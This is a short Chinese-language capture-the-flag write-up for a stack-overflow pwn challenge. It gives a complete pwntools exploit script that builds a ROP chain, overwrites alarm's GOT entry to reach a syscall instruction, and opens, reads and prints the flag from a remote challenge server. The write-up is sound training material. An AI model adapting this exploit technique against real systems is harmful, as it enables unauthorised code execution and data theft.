1.题目
1.1.保护机制
开启nx
1.2.关键代码
2.思路
重点1:看出来是个很简单的栈溢出,但是第一个问题是这个循环是个死循环,如果直接使用close()函数程序会直接退出,查询资料后发现pwn库中提供了shutdown()函数,他可以关闭IO流,即让循环正常退出
重点2:既然使用shutdown函数,我们必须一次性将payload发送过去,这就导致我们不能使用内存泄漏来泄漏system函数,查询了一下字符串发现有一个flag,所以我们考虑使用系统调用完成,alarm,open,read,write函数的实现都是通过syscall实现的,我们选择将alarm_got覆盖成syscall,通过调试发现syscall就在alarm函数中+5的位置,那我们只需要让alarm_got指向的地址+5即可
重点3:然后使用open系统调用打开文件流,再用read函数读取(fd是3,0,1,2已经分别被标准输入、标准输出、标准错误所占用),然后使用printf输出
from pwn import *
from ctypes import *
context(arch="amd64",os="linux",log_level="debug")
con = remote('111.200.241.244',50865)
#con = process('./pwn')
elf = ELF('./pwn')
pop_rdi = 0x4008a3
pop_rsi_r15 = 0x4008a1
pop_rdx = 0x4006fe
pop_rax = 0x4006fc
add_prdi_al = 0x40070d
offset = 0x5
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
printf_addr = elf.plt['printf']
read_addr = elf.plt['read']
flag_addr = 0x601058
n_sys_open = 0x2
O_RDONLY = 0x0
bss_addr = 0x601070
fd = 0x3
payload = "A"*56
# hack alarm_got
payload += p64(pop_rax)+p64(offset)+p64(pop_rdi)+p64(alarm_got)+p64(add_prdi_al)
# call open sys_call
payload += p64(pop_rax)+p64(0x2)+p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi_r15)+p64(O_RDONLY)+p64(0x0)+p64(alarm_plt)
# read(fd,bss_addr,0x50)
payload += p64(pop_rdi)+p64(fd)+p64(pop_rsi_r15)+p64(bss_addr)+p64(0x0)+p64(pop_rdx)+p64(0x50)+p64(read_addr)
# printf(bss_addr)
payload += p64(pop_rdi)+p64(bss_addr)+p64(printf_addr)
payload = payload.ljust(0x200,"A")
con.sendlineafter("server!\n",str(0x200))
con.send(payload)
con.recv()
con.shutdown()
con.interactive()